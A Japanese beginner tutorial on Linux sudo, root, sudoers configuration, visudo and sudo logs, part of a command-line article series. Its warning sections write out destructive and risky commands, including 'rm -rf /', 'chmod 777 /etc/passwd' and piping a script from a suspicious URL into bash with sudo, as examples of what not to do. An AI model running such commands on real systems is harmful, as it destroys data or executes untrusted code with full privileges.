1. 👋 はじめに
「sudo って頭につけたらなんでもできるの?」
「rootユーザーとsudoって何が違うの?」
「sudo を間違えて使って大変なことになりそう…」
そんな疑問や不安を解消します!sudo は正しく理解して使えば強力な味方ですが、使い方を誤ると取り返しのつかないことになるコマンドでもあります。しっかり理解しましょう💪
この記事を読めば:
- ✅ rootユーザーとsudoの違いがわかる
- ✅ sudoの仕組みと設定方法がわかる
- ✅ 安全な使い方がわかる
2. 👑 rootユーザーとは?
Linuxのユーザー階層
👑 rootユーザー(スーパーユーザー)
└─ システム上のすべての操作が可能
└─ あらゆるファイルの読み書き・削除が可能
└─ どんなコマンドも実行できる
└─ UID(ユーザーID)= 0
👤 一般ユーザー(alice・bobなど)
└─ 自分のホームディレクトリの操作が中心
└─ システムファイルへのアクセスは制限される
└─ UID = 1000以上(環境による)
rootはなぜ危険?
root で操作すると…
✅ できること(強力!)
└─ システムの設定を変更できる
└─ 全ユーザーのファイルを操作できる
└─ サービスの起動・停止ができる
⚠️ リスク
└─ 間違ったコマンドで OS を破壊できる
└─ 悪意あるスクリプトが全権限で動く
└─ ミス1つでシステム全体に影響する
💀 最悪の例
rm -rf / # OSを完全に破壊
chmod 777 /etc/passwd # 認証情報が誰でも書き換え可能に
だからこそ、普段はrootで作業しないのが鉄則です!
3. 🔐 sudoとは?
sudo(Substitute User Do)は、一時的に管理者権限でコマンドを実行する仕組みです。
一般ユーザー(alice)
│
│ sudo コマンド
↓
パスワード確認 🔑
│
│ sudoers に登録されている?
↓
YES → 管理者権限でコマンドを1つだけ実行 ✅
NO → Permission denied ❌
rootに切り替えるのとの違い
| sudo | su - / rootに切り替え | |
|---|---|---|
| 権限の範囲 | 1コマンドだけ | 以降すべての操作 |
| ログ記録 | される ✅ | されにくい |
| パスワード | 自分のパスワード | rootのパスワード |
| リスク | 低い | 高い |
💡 sudo を使うべき理由
① 必要なときだけ権限を使う(最小権限の原則)
② 実行したコマンドがログに残る(監査できる)
③ rootパスワードを共有しなくていい
4. ⚙️ sudoの基本的な使い方
基本構文
# 一般的な使い方
sudo <コマンド>
# 例
sudo apt update # パッケージ一覧を更新
sudo apt install nginx # nginxをインストール
sudo systemctl restart nginx # サービスを再起動
sudo nano /etc/hosts # システムファイルを編集
パスワードの入力
sudo apt update
# [sudo] password for alice: ← 自分のパスワードを入力
# ※ 入力中は何も表示されない(セキュリティのため)
# 一定時間(デフォルト15分)は再入力不要
sudo apt upgrade # パスワード不要(タイムアウト前なら)
よく使う sudo コマンド
パッケージ管理(Ubuntu/Debian):
| コマンド | 説明 |
|---|---|
sudo apt update |
パッケージ情報を更新 |
sudo apt install <パッケージ> |
パッケージをインストール |
sudo apt remove <パッケージ> |
パッケージをアンインストール |
sudo apt upgrade |
全パッケージを最新に更新 |
サービス管理:
| コマンド | 説明 |
|---|---|
sudo systemctl start nginx |
サービスを起動 |
sudo systemctl stop nginx |
サービスを停止 |
sudo systemctl restart nginx |
サービスを再起動 |
sudo systemctl status nginx |
サービスの状態を確認 |
ファイル操作(一般ユーザーでは触れない場所):
| コマンド | 説明 |
|---|---|
sudo cp config.txt /etc/myapp/ |
システム領域にファイルをコピー |
sudo chown root:root /etc/myapp/config.txt |
オーナーをrootに変更 |
sudo chmod 644 /etc/myapp/config.txt |
パーミッションを設定 |
rootシェルへの切り替え(本当に必要なときだけ!):
| コマンド | 説明 |
|---|---|
sudo -i |
rootのログインシェルに切り替え |
sudo su - |
同上(別の書き方) |
exit |
rootから一般ユーザーに戻る |
5. 📋 sudoersの設定
sudoersは「誰がどのコマンドをsudoで実行できるか」を定義する設定ファイルです。
sudoersファイルの場所
# ファイルの場所
/etc/sudoers
# ⚠️ 直接編集してはいけない!必ず visudo コマンドを使う
sudo visudo # 文法チェック付きで安全に編集できる
sudoersの基本構文
# 書式
ユーザー名 ホスト名=(実行ユーザー) コマンド
# 例:alice が全コマンドを sudo で実行できる
alice ALL=(ALL) ALL
# 例:aliceがパスワードなしで sudo できる(⚠️ 注意して使う)
alice ALL=(ALL) NOPASSWD: ALL
# 例:aliceが特定のコマンドだけ sudo できる
alice ALL=(ALL) /usr/bin/apt, /usr/sbin/service
sudoグループへの追加(Ubuntu/Debianの場合)
Ubuntuでは sudo グループに所属しているユーザーが sudo を使えます。
# ユーザーをsudoグループに追加
sudo usermod -aG sudo alice
# 確認
groups alice
# alice : alice sudo
# ⚠️ 一度ログアウトして再ログインしないと反映されない
/etc/sudoers.d/ でユーザーごとに設定
# /etc/sudoers.d/ に個別ファイルを作る方が管理しやすい
sudo visudo -f /etc/sudoers.d/alice
# 内容例
alice ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart nginx
# aliceはnginxの再起動だけパスワードなしでできる
6. 📝 sudoのログを確認する
sudoを使った操作はログに記録されます。セキュリティ上とても重要です。
# Ubuntuでのsudoログ確認
sudo cat /var/log/auth.log | grep sudo
# 出力例
# Mar 17 10:00:01 server sudo: alice : TTY=pts/0 ; PWD=/home/alice ;
# USER=root ; COMMAND=/usr/bin/apt update
# ログの見方
# 日時・サーバー名・ユーザー・実行場所・実行コマンドが記録される
7. ⚠️ sudoを使うときの注意点
① インターネットからコピーしたコマンドをそのまま実行しない
# ❌ 危険な例
# 「このコマンドを実行してください」とネットに書いてあった
sudo curl https://suspicious-site.com/install.sh | bash
# → 悪意あるスクリプトがroot権限で実行される可能性!
# ✅ 安全な手順
# 1. スクリプトの中身を確認する
curl https://suspicious-site.com/install.sh > install.sh
cat install.sh # 内容を確認!
# 2. 問題なければ実行
bash install.sh
② sudo rm -rf は特に危険
# ❌ 絶対にやってはいけない
sudo rm -rf / # OS全体を削除
sudo rm -rf /etc # 設定ファイルをすべて削除
sudo rm -rf ~ # ホームディレクトリを削除
# ✅ 削除前には必ず確認
ls /削除したいディレクトリ # 中身を確認
sudo rm -ri /削除したいディレクトリ # -i で確認しながら削除
③ NOPASSWD の乱用に注意
# ❌ 危険な設定(すべてのコマンドをパスワードなしで実行)
alice ALL=(ALL) NOPASSWD: ALL
# ✅ 必要なコマンドだけに限定する
alice ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart nginx
# nginxの再起動だけパスワードなしでOK
④ sudo -i(rootシェル)は必要なときだけ
# ❌ rootシェルに入りっぱなしにしない
sudo -i
# ... 長時間rootで作業 ...
# うっかり rm -rf してしまうリスク!
# ✅ 1コマンドだけsudoを使う
sudo systemctl restart nginx
sudo nano /etc/hosts
# 作業が終わったら一般ユーザーに戻る
⑤ sudo の有効時間に注意
# sudoのタイムアウトはデフォルト15分
# 席を離れるときはタイムアウトを強制する
# sudoキャッシュをクリア(タイムアウトをリセット)
sudo -k
# 次のsudoでは再度パスワードが必要になる
8. 🔍 sudo と su の違い
混乱しやすい su コマンドとの違いも整理しておきましょう。
# sudo:1コマンドだけroot権限で実行
sudo apt update
# su:別のユーザーに切り替える
su - # rootに切り替え(rootのパスワードが必要)
su - alice # aliceに切り替え(aliceのパスワードが必要)
exit # 元のユーザーに戻る
# sudo su -:sudoでrootに切り替え(自分のパスワードでOK)
sudo su - # sudoers に登録されていれば使える
| コマンド | 何をする | パスワード |
|---|---|---|
sudo <コマンド> |
1コマンドだけroot権限 | 自分のパスワード |
sudo -i |
rootシェルに入る | 自分のパスワード |
su - |
rootに切り替え | rootのパスワード |
su - alice |
aliceに切り替え | aliceのパスワード |
9. 📋 まとめ早見表
基本操作
| コマンド | 説明 | 注意点 |
|---|---|---|
sudo <コマンド> |
管理者権限で1コマンド実行 | パスワードが必要(15分キャッシュ) |
sudo -i |
rootシェルに入る | 作業後は必ず exit で戻る |
sudo -k |
sudoキャッシュをクリア | 席を離れる前に実行すると安全 |
sudo -l |
自分が使えるsudoコマンドを確認 | 権限の確認に便利 |
sudoers の設定
| コマンド | 説明 |
|---|---|
sudo visudo |
sudoersを安全に編集(直接編集はNG!) |
sudo visudo -f /etc/sudoers.d/alice |
ユーザーごとの個別ファイルで設定 |
sudo usermod -aG sudo <ユーザー名> |
ユーザーをsudoグループに追加 |
ログ・確認
| コマンド | 説明 |
|---|---|
sudo cat /var/log/auth.log | grep sudo |
sudoの操作ログを確認 |
groups <ユーザー名> |
ユーザーの所属グループを確認 |
10. 🎯 まとめ
| 概念 | ポイント |
|---|---|
| 👑 root | システム上で最強の権限を持つユーザー |
| 🔐 sudo | 一時的に管理者権限で1コマンドだけ実行する仕組み |
| 📋 sudoers | 誰がどのコマンドをsudoできるか定義するファイル |
| ✏️ visudo | sudoersを安全に編集するコマンド(直接編集はNG!) |
| 📝 ログ | sudoの操作はすべて /var/log/auth.log に記録される |
| ⚠️ 注意点 | 不審なスクリプトをsudoで実行しない・NOPASSWDを乱用しない |
「必要なときだけ・必要な権限だけ」 がsudoを使う際の鉄則です。rootになりっぱなしにせず、一般ユーザーで作業して、必要なときだけsudoを使う習慣をつけましょう🔒
💬 質問や感想があれば、コメント欄でお気軽にどうぞ!
👍 役に立ったら、いいね&ストックをお願いします!
🎓 ここまで読んでくださって、本当にありがとうございました!
🔗 シリーズ記事
- 【第一回】基本操作 → ファイル操作・検索・エスケープ
- 【第二回】パーミッション・ユーザー管理・テキスト処理
- 【第三回】シェルスクリプト入門
- 【番外編A】正規表現とsed・awk入門
- 【番外編B】パスを通すとは?PATH環境変数を完全解説
- 【番外編C】sudoコマンドを正しく理解しよう(この記事)